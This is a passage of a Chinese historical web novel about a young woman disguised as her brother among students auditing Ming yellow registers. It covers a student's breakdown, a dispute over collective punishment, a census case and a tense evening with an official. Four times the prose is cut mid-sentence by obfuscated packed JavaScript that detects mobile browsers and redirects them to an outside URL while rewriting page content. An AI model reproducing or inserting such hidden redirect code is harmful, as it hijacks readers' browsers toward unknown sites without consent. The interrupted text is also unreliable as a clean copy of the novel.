裴停云冷眼看着一片青衣中的一抹红，松了按在郎瑛额头的帕子的力道，他忽觉今日赵侍郎的目光过于锐利，心念微转，旋即了然，赵世衡曾是郎家小女的未婚夫婿，而自己虽与郎家女茶楼初会不甚愉快，终究已定下婚约。 于情，自己看起来是横刀夺爱。 于理，自己方有资格明媒正娶。 额头的力道一撤，四肢百骸的血液又重新流动，郎瑛吃痛，头脑也更清醒，这些天来，肺腑一直涌着燎不尽、扑不灭的柳絮，只需要听到关于阿兄的只言片语，便如星火坠入其中，顷刻间将所有理智焚烧殆尽。 血色入眼，猩红之中，她看向赵世衡，若想后湖行走顺畅，唯有依仗他的力量。 郎瑛需要赵世衡手中的后湖权柄，需要他衣襟间与阿兄如出一辙的四和香气，更需要利用这份曾令她心动的温柔……哪怕对方是她昔日倾慕过的人。 * 查册官厅中，后湖的主事官员依次左右坐定。 季逢春一见着闹事监生的郎瑛，岔气的肋骨又在隐隐作痛，手扶着圈椅，痛心疾首低呼：“莲六郎啊……怎么又是你？清晨刚顶撞福顺公公，砸破他的嘴；未及晌午，又被人打破头。幸而这祖洲足够广阔，否则你捅的篓子，早晚要将我沉入湖底！” 郎初放荡不羁，入国子监以来便屡屡犯禁，既有听雪煮茶的风雅，也常行招猫逗狗的俗趣，行事不拘一格，种种轶事换做旁人早就重罚伺候，可偏偏，这郎初样貌绝伦，眉如墨画，形如云岫，温软的话一哄，溺毙人的眼神一软，纵有千般责罚层层降下，落到他身上时，终究只化作掌心轻轻一拍。 “莲六郎”的诨名，本是国子监监生调侃郎初纵使有倾城貌，奈何身为男儿。郎初却笑眼弯弯，反问：“怎的可惜？昔有张昌宗‘莲花如六郎’，如今我便有不得？” 季逢春瞧着郎瑛白瓷一样的皮肤上，现在蜿蜒着殷红的血，想着着误入歧途已故的郎瞻，心绪杂陈，终究不忍再苛责，阖上双眼，默然不语。 不一会儿，小吏将应天府医学医士请来，现场为郎瑛清理创口，简单包扎，并无大碍。 缩在一旁的陈冠肩膀不住战栗，同行之人纷纷将他拢在身后。 郎瑛在缝隙间，看到陈冠将手指伸进喉咙里，作势呕吐，眼珠翻起，喉咙咕噜咕噜发出“知了知了”的蝉声。 郎瑛见状，扑上前，将他伸进喉咙的手扯出：“你要干什么！医士请来相助！” 同行四名监生一人各按着陈冠的一只手脚，轻抚胸肋助他顺气，医士叹着气取出银针，在陈冠的头顶、脸部施针。 陈冠缓缓安静了下来，目光也逐渐空洞，即便郎瑛在他面前，他也无任何反应。 医士收针沉声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546743|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“他心神已溃……距癫狂只差一步了。” 赵世衡沉吟道：“既如此，我与户科给事中徐彩和大人联名上折，待开湖日，便送他出后湖，归家医治。” 听到“出后湖”三个字，状若木偶的陈冠行为彻底疯癫，扯着身上的澜衫，撕开一道道裂口，在刺耳的裂帛声中，将布条不停塞入口中，喉咙里仍是模仿知了的蝉鸣。 陈冠甩开四个人的纠缠，快速将布条吞如腹中，又抠着喉咙作呕扯出，沾着涎水的布条胡乱抛甩，当布条险些触及裴停云衣袂时，他反手扣住陈冠锁骨上窝，指力一沉，陈冠当即软倒昏厥。 四个小吏将陈冠抬到一旁休息时，这场闹剧才算停止。 分坐两端的官员们惊魂未定，随即又陷入新的忧虑，后湖驳查竟闹出监生癫狂之事，来时好端端一个人，去时却神志尽失，若此事再被有心人渲染夸大，往后这后湖……还有哪个监生敢来？ 后湖前任管事乃户部右侍郎陈续，因黄册舞弊案发，陛下特改派赵世衡统筹接任，赵世衡初来乍到，自然对后湖监生诸事尚不甚明了。 赵世衡询问户部主事们，他们皆面有难色，言辞吞吐道：“大人，陈冠素来罪人郎瞻交好，郎瞻案发后，陈冠亦被带入刑部审问。自刑部归来不出两日，人便渐显异常，常胡言鬼神生死之事。下官只得嘱咐同舍监生多加看顾。” 陈冠同号舍某一监生面色通红，愤慨不已：“陈兄素来怨恨郎家背信弃义。案发以来，这些时日，陈兄已能安睡用膳，偏今日撞见郎初就突发癫狂！定是郎初嫉恨陈兄身死而陈兄却独活，故意言语刺激！郎家害人不够，还要赶尽杀绝！这才逼得陈兄旧疾复发，神志尽失，请求重重治罪！” 郎瑛眸光骤凝，当即抓住话柄：“且慢，兄台方才说陈冠怨恨郎家？” 监生道：“当然。” “既然陈冠已安睡用膳，可见心神渐稳。”郎瑛欺身逼近，“为何今日仅见我一面便骤然癫狂？若神志真正清明，何至被三言两语击溃？” 她声如刃，直刺要害：“敢问，这究竟是旧疾复发，还是……有人心中有鬼？” 11. 裴郎氏 郎瑛“心中有鬼”四字余音未了，陈冠同号舍的监生们顿时炸开了锅。 他们纷纷叫嚣着要以“查参监生郎初驳册滋事有碍清查，乞赐究治以惩违慢事”为由，当场联名上书。 堂上的户部主事们早已心急如焚。 一日之内，内侍违禁、监生顶撞、有人疯癫，如今又要联名上书……这些乌糟事若处置不当，他们这六品青衣小官便不是宦海翻舟，而是宦海潮退水干，千里无岸，躺平等死吧。 户部侍郎赵世衡与两名御史却似早有默契，皆从容安坐，面静如水，仿若没听到任何声音。 郎瑛站在那里，静观哗然的红眼、红脖子的众生相，不动气，如一座伫立的山，置山中野兽呼号为无物。 素手轻解腰间的册囊，取出笔墨，递给嚷得声最大的监生：“写吧。” 叫得凶的监生一愣。 郎瑛道：“诸位兄台，我并未说你们心中有鬼，为何如此激愤？” 监生劈手夺过郎瑛手中的毛笔，愤而掷地：“后湖驳册，六人连坐，你道他是心中有鬼，那便是连同向我们泼污水。” 谁知，郎瑛竟向陈冠同号舍的四人投去钦佩的目光，缓缓颔首道：“是了，原是这样！确是我之过，在此赔罪。” 郎瑛对着四名监生深躬行礼，动作之虔诚、语气之真挚，令在场监生心中的郁结稍解，夜枭般的讨伐声也弱了，几分得色浮上面庞，毕竟，国子监“莲六郎”的大礼，似乎监中还未有人受过。 “既是如此……”郎瑛直起脊背，字字锥心，“当初郎瞻、陈冠与诸位同宿一舍，郎瞻处极刑、陈冠提入刑部受审，既行连坐之法，诸位就能全然逃脱嫌疑？” 四人面孔上的得意色骇然急褪，心中警铃大作，震得脑袋嗡鸣，一时语塞，方才的笑意僵在嘴角，眼中却已涌上惊惧。 一时间，查册官厅中出奇的寂静，各人盘算着心中事。 金桂随着粟满楼瑟缩在厅角阴影处，舌尖舔了舔笔豪，目视前方，手中记录的活计不停，暗叹，全部记下来，一字不差的带回朝鲜，这可都是大明监生对“连坐”之制的论辩啊。 户部主事们冷眼瞧着厅中监生如斗兽般唇枪舌剑，见郎初一番质问逼得四人呆立无言，心下皆是一松。暗瞥侍郎赵世衡与两位御史神色，心里已有计较，终究只是监生间的争执，只要不牵扯官吏，那便是斗嘴的小打小闹，算不得风浪，何至于大伤脑筋。 等他们自己分出了胜负，在从中调和，拍拍占理的，再抚一抚吃亏的，一切迎刃而解。宦海还是那片海，他们也还能在船上划一阵子水，天嘛，塌不了。 官吏们等着作为上首的赵世衡率先发话了结争端，毕竟赵世衡作为统管后湖诸事的领头官员，唯有他方能为此事一锤定音。 赵世衡沉默地看着厅中人，斟起一杯茶饮啜，细长的眼帘遮住眸光，水汽飘忽浮动。 良久，在众人焦灼的等待中，他忽问：“监生裴停云何在？” 户科给事中、户部主事纷纷讶异，不知赵侍郎点名裴停云用意何在。 裴停云出列作揖，细细打量垂眸俾睨的绯红清贵：“在下裴停云，不知侍郎大人有何指教？” 赵世衡将手中的茶盏搁在几上，横眉冷目：“你可认同监生郎初的‘连坐’说辞？” 裴停云微一凝思，大致已明赵世衡的手段，眼睛飘向郎瑛一瞬，说道：“在下认同。” 赵世衡眼帘微抬，终于正眼看了裴停云一眼，缓声道：“你认便好说。” “那你说说，刑部大牢中，你是如何逼疯监生陈冠的？”赵世衡平地一声雷，震得在场众人合不拢嘴。 郎瑛浑身血液凝止，她只知裴停云仗着掌印太监义父的权柄横行，万没料到黄册舞弊案，他也参与其中，若裴停云审讯了陈冠，那么阿兄的内情他必定知之甚多。 与裴停云同处一室，已说不清是苍天无眼，还是柳暗花明。 裴停云朗笑了一声：“大人真是高看在下的手段。国子监监生都需前往六部历事，承蒙刑部尚书大人青眼，允我提前入部观政。陛下对黄册舞弊案圣怒凛然，刑部官员连夜细审，人手紧缺，方许我协理办案。众目睽睽之下，在下又如何能逼疯一位国子监监生？” 赵世衡又问道：“那当日行刑，你在场？” “当日，监生陈冠大刑未及片刻，他已神志不明，形如废人。”略一停顿，裴停云又道，“若真允我亲自动手，必在疯前撬开他嘴刨出所有隐秘事。” 裴停云语锋如冰锥，笑意渐冷：“在下只能言尽于此，若再追问，还请侍郎大人……移步与刑部尚书细细商谈。” 赵世衡略过裴停云，走至陈冠同号舍监生前：“诸位认为，陈冠今日是为何疯魔？” 监生惊恐不定地看着郎瑛及裴停云，默然无语。 “陈冠刚才癫狂，监生裴停云是否在场？”赵世衡问道。 监生们点头：“裴停云在郎初身后。” “那诸位以为……”赵世衡沉声道，“监生陈冠是因见郎初而疯，还是因见当日刑部行刑时的裴停云……而心神俱溃？” 赵世衡妥妥的是一枚温润士子模范，眉宇间却天生带着三分肃穆，一旦敛了那副好脾气，俊雅之人立刻威严不可压，教人莫名既倾慕又不敢近前。 如此两难的抉择，陈冠同号舍的监生们顿觉如履薄冰，罪果推给郎初不行，推给裴停更是“死”得难看。 几人犹豫再三不知如何作答，终究支支吾吾：“是……是我等心忧陈冠，情急下，口无遮拦惊扰各位大人，以及裴兄、郎兄。” 满堂众人顿时心照不宣，捧起茶盏，互相递眼色、眨巴眼，赵世衡硬是拉出裴停云做垫背，是有意偏袒郎初。 其中缘由闹得满城风雨，在座何人不知？郎瞻未获罪前，赵侍郎与郎家小女自小结定姻缘，本待郎瞻驳查黄册事毕，赵家十里红妆迎娶郎家女。可惜，造化弄人，郎家一夕获罪，永难翻身，赵家上门当即退婚，转头便与刑部尚书之女定下亲事。翌日，内侍抬着彩礼登郎家门为宦官义子裴停云提亲。 这段孽缘，叹就叹在郎君有情佳人无意，京城中皆传赵家郎君赵世衡拒娶刑部尚书之女，扬言今生非郎家女不娶。岂料，转日内侍皆传郎家女已首肯，赵家郎君黯然入后湖统驳册事宜，黯然疗情伤。 哪料到，心爱之人的未婚夫、二哥皆入后湖驳查。 郎初作为郎家女的二哥，赵世衡岂会不念旧情？爱屋及乌罢了。 裴停云实乃有夺妻之恨，借此事敲打敲打也算是纾解郁闷。 旧情新恨一齐发作，活了这么多年，这么刺激的场景在座甚少见到，亲眼所见，心绪沸腾，茶盏也拿不稳了，眼珠子在大舅子郎初、情仇裴停云、憾情君赵世衡之间，疯狂乱转。 既然不涉朝政、黄册与内廷之争，在座官员也都心意相通，各自盘算着将这桩风流逸事带出后湖，作日后茶余饭后的谈资。 大事化小，小事化了，四名监生不甘地向着郎瑛作揖赔罪。 “也得给我赔一个。”角落中的粟满楼看好戏看得痛快，也跳出来显摆自己的存在感。 四名监生满腹委屈，正愁找不到发泄口，此时跳出来一个不知轻重的浮夸人物，看他簪金晃眼，定是胸无点墨、靠家财入监的纨绔，火冒三丈：“与你何干？寻个树荫凉快去！” 粟满楼围着他们咂嘴道：“当谁愿瞧你们跳梁？若不是你们无理取闹，我这外围清白人又怎会被强制带到此地？难道不该受你们一拜吗？” 宁负十君子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546744|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不惹无赖汉。 四人实在不想再生波折，闭着眼勉强给粟满楼敷衍作了一揖。 “唉呀……时辰不早了，再耽误片刻膳房的饭桶要空喽，散了散了吧。”段绮正出言，眯着眼尬笑。 四名监生再次对着堂上官吏行礼，咬着牙背着陈冠离开，闭口不提联名上书那档子事。 郎瑛等人亦行礼退下。 赵世衡唤住郎瑛，声线低沉：“晚间至引龙洲公署见我，细思己过。”便转身进了查册官厅中的签押房。 郎瑛盯着绯红官服消失的方向，愣神中，她感念今日赵世衡出言维护，心中泛暖又带酸，毕恭毕敬于他身后行礼：“是。” * 许是上午郎瑛连续招惹福顺公公、陈冠等监生，待到下午，郎初的名声威震后湖，异样眼光自不必说，除却同舍那几个被“连坐”所缚的可怜虫不得不与她捆绑一处，其余监生皆退避三舍，如避蛇蝎。 驳查库房内，郎瑛的书案两侧空出一大圈余地，左右监生宁可与旁人挤作一团，也不愿同她有半分交集。 直隶下辖十四府、十七州、九十六县。 郎瑛被分派驳查徽州府黄册，而今是永乐十年，她细细查对永乐元年的黄册册页。 驳查至一户徽州府歙县民户，郎瑛放缓了驳查速度，认真看起了陈顺这户人家的情况。 永乐元年，黄册上写： 一户陈顺承故父陈狗户 旧管 事产民田地八亩四分三厘五毫 田二十亩四分四厘七毫 民瓦房一间 新收 人口 男子不成丁一口本身系洪武三十一年生 转收 男子一口 义父胡住儿系招赘到十一都二图胡房儿弟 开除 人口正除男子成丁一口父狗永乐元年病故 实在 人口三口 男子不成丁一口本身年五岁 男子一口年三十岁 妇女一口母祁氏年二十一岁 事产 事产民田地八亩四分三厘五毫 田二十亩四分四厘七毫 民瓦房一间 待到了永乐十年驳查期，户主陈顺、招赘胡住儿接连的病故，户主变更为祁氏的哥哥祁钱，最终的实在事产为零。 这十年，显然对民户陈祁氏来说相当煎熬，十年前依仗的丈夫壮年病逝，将户主落在五岁儿子头上，二人相依为命，但孀妇难以照料田地，只能招赘，引来胡住儿帮持。奈何天命不怜，今年黄册驳查之际，她仅剩的倚靠稚子与后招之夫相继病故，而今户主竟更作其兄，事产尽被吞占，自己反落得寄人篱下，孤零无依。 两页细绵纸，划过了一个女人泣血十载，郎瑛对这素未谋面的女子心生恻隐，普天之下，这样的可怜人实在多如沉沙。 庙堂之高、江湖之远，她们听不到、看不到，双脚插在泥地里，背后摇着婴儿，嘴里念着女子无才便是德，眼里是黑漆漆的后半生。悲喜由天，万般叹命，如此一生仰仗他人垂怜，手握不住钞、腿走不远路，草草以某氏结束无名一生，无声无息如风，散便散了。 郎瑛心头蓦地一凉：那么她自己呢？以后也要成为某郎氏？ 比如…… 郎瑛抬起头，注视着身前人白皙脖颈上的那颗朱砂痣，陷入冷寂的沉思。 日后……她便是裴郎氏？ 缩在男人的背后，作为他的无名影子，踩在脚下，嫁狗随狗，闭上嘴巴、蒙上眼睛，祈求上天怜爱？ 算珠在掌下拂乱，噼啪清脆作响，恰如她的心绪凌乱，她透过裴停云的背影，眺望到好几个十载之后……那是一块石碑，那是她自己的坟茔。 12. 共剪烛 郎瑛心绪杂乱，那颗朱砂痣在她眼中愈发猩红，鲜艳得扎眼泛酸，忍不住轻笑自己“虎狼屯于阶陛，尚谈因果”。 女扮男装混入后湖，本是前所未有的滔天大祸。 眼下阿兄后湖舞弊真相不明、裴停云是否从中挟私报复、自己身份是否会被暴露更未可知，然则哪一环出了岔子，刑部、都察院、大理寺与后湖仅一堤之隔，都休想全身而退。 她很容易就能踏上阿兄的后尘，又何暇顾及那遥远的将来？ 郎瑛肩头被轻拍三下，恰好扯到被鞭打过的伤口，忍着痛楚，抬首望向段绮正。 段绮正待要再一拍，郎瑛却猛地起身行礼，那只手掌便悻悻落了空。 见“郎初”竟如此尊师重道，段绮正连连点头，只盼“莲六郎”每日都如此刻乖巧，决心再赠几句良言，点拨这只在查册路上迷惘的羔羊。 “静下心来。”段绮正和蔼笑道，“黄册人丁、事产为经线，‘管、收、除、在’为纬线。上至田租国赋之繁重，下至舟车牛马之琐细。远至日南、漠北、闽、滇、瓯、粤等地，近至贫寒之家、田间地头之处，无不细载[1]。” “一户有一户之难，一户有一户丰饶，我等便将心思化作针眼大小，全天枯坐，别无二心。”他语调慢慢，恰似有吟诗喜不自胜之意，“和这一页页薄纸缠斗，上承天子，下安黎民，功绩虽不显于青史，却亦有荣焉。” 郎瑛忙不迭说已谨记指点，段绮正前脚走的刹那，她抚着肩膀倒吸气，收敛了飘忽的心思，看着库房中金色生辉的一摞摞册子，心中起了敬畏，自不敢马虎，抬着酸痛的胳膊盘算。 上午初核黄册，下午复查结果。 先由不同号舍监生交互查对，再经主事随机抽验，错漏者罚，若存重大疏失即刻问责处置。 待所有驳查完毕无误的黄册入库封存，钥匙由段绮正贴身保管后，众监生才堪堪放下心来，恍然惊觉，澜衫下的手臂上白色盐渍浮起，浑身虚脱无力。 王蕴章嚎叫：“今日偏生我等轮到最末批次去膳房用晚食，瓮堂哪里还轮得到我们洗漱呢……” 听到“用餐”，监生们喉头一跳，嘴中生津，锁定着王蕴章的身影，盘算着待会儿膳房少吃一些，跟着他形影不离，享用吃食。 膳房的糙米饭没滋没味，就着几根咸菜在口中囫囵咀嚼。郎瑛记着赵世衡的那句“细思己过”，盘算着晚食用毕后与他相见时的说辞。 相识十八载，赵世衡统共只对她说过两回“静思己过”的遭数。 最近一遭，尚在十多年前，垂髫的年级，取名“穆桂英”不成，琢磨有个叫“杨宗保”的夫婿也不错，逢人便打听同名少年。 不出三两日，官员内眷皆笑谈此事，还有人逗她：“我老家倒有个杨宗保，你嫁不嫁？”她乐颠颠收拾包袱，次日便要上门“成亲”。闻讯而来的赵世衡一把将她背回郎家，板着脸夺走包袱：“静思己过。何时想明白了，便双倍还你。” 至于头一遭的“静思己过”，则更为离奇。阿兄每常懊恼赵世衡“先声夺人”，便从陈年旧账数，头一桩，便是赵世衡竟比他先一步见到自家弟妹。 当年因母亲临盆，阿兄破例向学堂告假，在家守候。 赵世衡下学后，携着字帖与他一起临摹，飞雪忽至，便留宿郎家，他强作镇定宽慰阿兄，却闻内室动静，笔锋颤抖。 她与二哥出生的那天，直隶天地飞雪一天一夜，啼哭声起时，暖阳恰刺破云霭，天光大亮，瑞雪迎春到。 明瓦映红梅的窗棂内，暖阁温暖如春，爹爹顾不得婆子阻拦，推门直入，哽咽唤着娘亲的闺名。 稳婆兴冲冲道喜：“贺喜，龙凤呈祥，求不到的好福气！” 爹爹推开襁褓，守在娘亲床边：“两个小顽固，赖在娘亲肚子里一天一夜做什么？谁爱要谁要。” “你手凉，会冰着他们的。”赵世衡将手炉递给阿兄。 待阿兄急急焐热双手来看婴孩时，赵世衡早已虚拢着手护在弟妹的襁褓旁，那神情竟似在斟酌要带哪个回府。 同样的眉眼，简直是一个模子里刻出来的。 一个静悄悄睡着，一个张着嘴巴啼哭。 “这么小的人，怎么嗓门这般大？”赵世衡微蹙着乖巧的眉眼，伸手欲捏那哭闹的婴儿，“先生说为人要寡语慎言，我带你回去，好好教你规矩。” 稳婆笑得浑身乱颤：“这是个小姐，带是带不走喽！待日后你高中状元来提亲吧哈哈哈……” 赵世衡瞪圆了眼睛，悬着的手顿了顿，随即转捏为抚，轻刮过婴儿脸颊，漾开笑意。全然无视阿兄在一旁“我才是哥哥”的急嚷。 耳边传来压低的笑意，郎瑛蓦地回神，只见粟满楼正得意地抿着嘴，他手底下压着一小碟咸菜，而自己方才竟夹着一团空气往嘴里送。 * 后湖有六洲，其中龙引洲从西向南，再向南转折向东，蜿蜒六七里。 管湖公署与膳房同处于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546745|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引龙洲，自西侧膳房再行一里，可至后湖公署。 公署面南坐北，形制虽不巍峨，却自带官威凛然。公署的西头，还辟了一块宽二丈、长十五丈的菜地，菜蔬肥绿，不远处一口深井的轱辘卡住，井绳下端悬着一桶甜瓜，在井水浮浮沉沉，碾碎一轮明月银辉。 入了公署，向小吏禀明来意，便穿过大堂、二堂，到了后湖官吏所暂住的内宅“清德堂”，郎瑛被引至最阔的一间屋前，小吏轻声通传后躬身退去。 屋内烛火通明，一道清俊侧影映纱窗上，轮廓分明。窗外的飞蛾扑簌，跌撞着寻觅进入的缝隙。 “进。” 郎瑛推门入内，屋内随处堆着卷宗、书卷，烛台上的蜡烛缓缓消融，圈椅上的男子聚精会神看着一封书信，头未抬，熟稔地指了身旁的绣墩：“龙团，坐。” 郎瑛依言坐下，静默端坐着他看完书信，准备将打好腹稿的“己过”表白清楚。 室内寂静无声，郎瑛只听到烛火哔剥、飞蛾扑窗沙沙声，与湖中不绝的蛙鸣交织。 一刻过去，赵世衡竟又将书信从头开始阅看。 赵世衡自幼有着一目十行、过目不忘的本事，从未见他二次阅看过的情形，郎瑛悄悄抬了眼，窥探字里行间的秘密。 暖黄烛火的映照下，赵世衡指间拈着一页花笺，撒银的纸面璀璨生彩，通篇秀丽的簪花小楷上，更有一只只蝴蝶底纹翩翩欲飞。 信笺中“赵郎君”二字频频浮现。 是一封女子的手书。 郎瑛别开视线，这是他未婚妻的书信罢。 阿兄常与他待在一处，自己从未与他写信，至多是让阿兄捎句话、带件物事。 而今得遇佳人，收此家书，再三阅看也在情理之中…… 书案上烛台的灯芯渐长，烛光稍暗，赵世衡道：“龙团，剪烛。” 郎瑛起身，在窗台上，找了一只小巧的雕花小剪，隔着书案，微微够着烛芯，偏又牵扯到肩膀上的伤口，吃痛瑟缩着收回，却被赵世衡半路一把握住了手背，了当地剪断了黑焦的烛芯。 暗沉的光线，猛地一跳，在赵世衡的眸中亮了一瞬。 郎瑛使力收手，赵世衡轻轻松开，歉声道：“等许久了？” 郎瑛刚要落座绣墩，屁股还没挨上，便被赵世衡的下一句惊得僵在原地。 “暑气灼人，瓮堂你们定抢不到。热水已备好，就在我这儿沐浴罢。” [1]:来源于《后湖志》 13. 浴后香 “大哥哥，你先。日夜处理公务，加之暑天汗水淋漓，更需要尽快解乏。”郎瑛缓缓坐回，屁股紧紧碾着绣凳，生怕被赵世衡推着塞入屏风后的澡桶。 “你若这么说，那我就要问你的罪。”赵世衡背对她，一手执手书，一手细细研墨，道：“若非你今日连生两桩事端，我亦不会忙至此刻，连午膳晚食都未进粒米。” 郎瑛咻地起身，转移话题：“吃瓜吗？我刚瞧见公署旁的水井里冰着甜瓜。” 赵世衡嘴角微抿，提起的笔锋始终不落，狼毫尖端簇着一滴墨，最终滴回了砚台，收笔，温和婉拒：“坐下。” 郎瑛虚坐一半，扎了马步，臀腿微微发力，随时准备找借口冲刺逃开。 赵世衡素来脾性温和，从不会轻易动怒，而生闷气的前兆便是微抿唇角，语气反倒愈发轻柔。 好脾气的人，生起气来，着实持久，儿时非得一哭二闹三抱他脖子“上吊”，才算走完这合格的消气流程。及笄后，碍于男女大妨，而他又平步青云，官务缠身，二人见少离多，因此也不知隔这些年，又哭又闹的招数还顶不顶用。 “大哥哥，今晚膳房有丝瓜汤，现在兴许还有剩余，我现在就和小吏过去给你张罗饭食，毕竟人一饿就容易心烦意乱。” 郎瑛顶着二哥的身份，只能扮作乖巧，小心捋顺这好脾气之人的毛。 赵世衡闭上狭长的眼眸，仰头靠在圈椅背，轻轻的吞吐气息，胸膛轻微起伏。 二人又在沉默中，心照不宣地消化着彼此的情绪。 郎瑛感受到他的踌躇、无奈，或许赵世衡也能识破她乖巧下的目的。 烛火摇曳下，赵世衡紧闭的眼睫投下一道浅灰色的阴影，微微颤动，手指攀上领口，解开交领下的玉质子母扣，收起腰间的花犀带，敞开绯红的官服，自己着中衣起身，徒留一身“富贵官威”仰躺在椅背上。 赵世衡快走几步，站在郎瑛面前。 郎瑛还未来得及反应，额间便被一根手指轻轻戳中，伴着恨铁不成钢的声音说：“你……你真是气我！” 郎瑛心虚看他，自己肯定给赵世衡惹了不小的麻烦，低头认错总是不出问题的，遂仿着二哥不着调的样子，伸手捞过赵世衡另一只手的食指，也点在自家额头上：“两个手指头戳我了，可不能再生气了嗷~” 赵世衡看着两根手指都戳在“前大舅哥”的脑门，不由失笑，指节微一发力，轻轻一顶。“前大舅哥”向后晃悠了晃，捂住额头，一副低眉顺眼的乖觉模样。 “罢了……给你一炷香的功夫，把身上的汗馊味洗净。待你清爽了，我们再谈。”赵世衡提着郎瑛的衣领，不顾手下人的抗议，塞在了屏风后。 郎瑛站桩似的杵在这里，巴不得洗净身上异味，但……她现在岂能在赵世衡面前脱衣解带。 赵世衡叹气，将郎瑛的脑袋别向浴桶：“看我作甚，难不成我来帮你宽衣？” 两人想的根本是两码事…… 门外由近及远传来脚步声，小吏的声音说道：“大人，晚食已备好，请随小的前往。” 赵世衡应了声，从屏风旁的衣架上取了件常服穿上，便开门而出。 郎瑛紧绷的心，忽然一松，将门扉合上、拴好，转入屏风脱下澜衫、中衣，解开胸前的束缚，抓紧这一刻钟的时间，沐浴洗头。 肩膀淹入浴桶，刺痛加剧，郎瑛微微起身，扭头查看肩头，藤条抽打的伤口又裂开了，粉色的肉翻开，被汗水一浸，边缘已泛白，避过这个地方，将浑身的劳累洗进温水中。 浴桶靠近一扇紧闭的窗柩，窗旁有一只花几，几上立着一只吐气的香炉……是四合香的味道。 清苦、爽朗、清幽，似赵世衡的冰雪襟怀，也似阿兄的淡泊之气。 她很喜欢这个味道。 * 匆忙洗漱后，待头发擦得半干不干时，赵世衡敲门示意。 见着“前小舅子”濯去油腻，清爽之气扑面，赵世衡面色起了缓和，着人将浴桶清理完毕后，二人才阖门延续之前的话题。 浑身轻松的郎瑛不再拘谨，径直坐在竹榻上，等着赵世衡发话。 赵世衡给她斟了盏茶递给她：“后湖你本不该来，蛇虫蚊蚁多，待久了，人心浮动，不平事也多。” 郎瑛微愣，又伸手接过，干笑：“我却觉得未尝不是一件好事。” 郎瑛与赵世衡皆有意避开与阿兄的话头，如同肉眼可见的创口，纵使不碰，仍是不得不面对阵阵痛感。 “好事吗？”赵世衡反问，“二百监生名册已定，司礼监掌印马公公向陛下进言，最终抹去一人，换上你的名姓入湖驳查，这未必于郎家有利。” 郎瑛负气道：“那再坏又能如何呢？郎家已死的死，病的病，再差也就流放……” 一阵清苦香气扑鼻，赵世衡灼热的手掌紧紧压上郎瑛嘴唇，将她的话堵了回去，二人的额头近乎相抵。 赵世衡含了几分恼意，低声急道：“这话你只能在我这儿说一次，让他人听到，你的脑袋还要不要？” 多年的相识相知，郎瑛早已将他视作珍重的人之一，后湖这两日，时时提心、刻刻留意，唯有与他相处这瞬间，郎瑛才卸下提防，将心底的私语道出。 赵世衡的手掌宽大，覆上瞬间将郎瑛的呼吸窒住，郎瑛白润的脸庞渐渐涨红。 赵世衡一惊，撤手，抚了抚郎瑛的后背，神色有了丝无措：“抱歉，是我情急了……” 郎瑛轻轻摇头，借着赵世衡懊恼的瞬间，将压心底的疑问脱口：“先前后湖也曾有监生犯禁，重罪之下，判斩监候。阿兄案发一夜后即判极刑，第二日即……行刑，为何如此？” 这桩事情，赵世衡本想等舞弊案风云微定时，再找契机商谈，万没料到，内侍打起了郎家的主意，连带着点名“郎初”征召查册。后湖禁地耳目众多、重兵把守，草木轻动亦会风声鹤唳。 奈何……赵世衡刚眼风扫去，某人一脸刚毅注视他，任是无情也动人……收回目光幽幽一叹。 奈何莽撞的“前大舅哥”初入后湖就接连惹下两桩是非，若不透露点内情，往后横冲直撞，向天捅个窟窿也不无可能。 赵世衡起身抱把古琴折回，郎瑛识趣的搬来一张床几，二人面对面盘腿坐榻。 隔墙恐有耳。 琴弦在赵世衡指腹下或抚或拨或挑，曲调初始清幽、空灵，恰似身处山林，静侯来风。 郎瑛躁动一天的心彻底安定，侧身倾听赵世衡的低语：“黄册虽小，却牵系朝野上下、域内外疆。” “今年方过半，而天灾不断，初春山东、河南等地连降大雪，人畜冻毙者无数。三月，四川、陕西地震，逾月不止，殒者数千人。及五月，浙江兰江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546746|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两岸发大水，庐舍尽塌，惨不忍睹。” 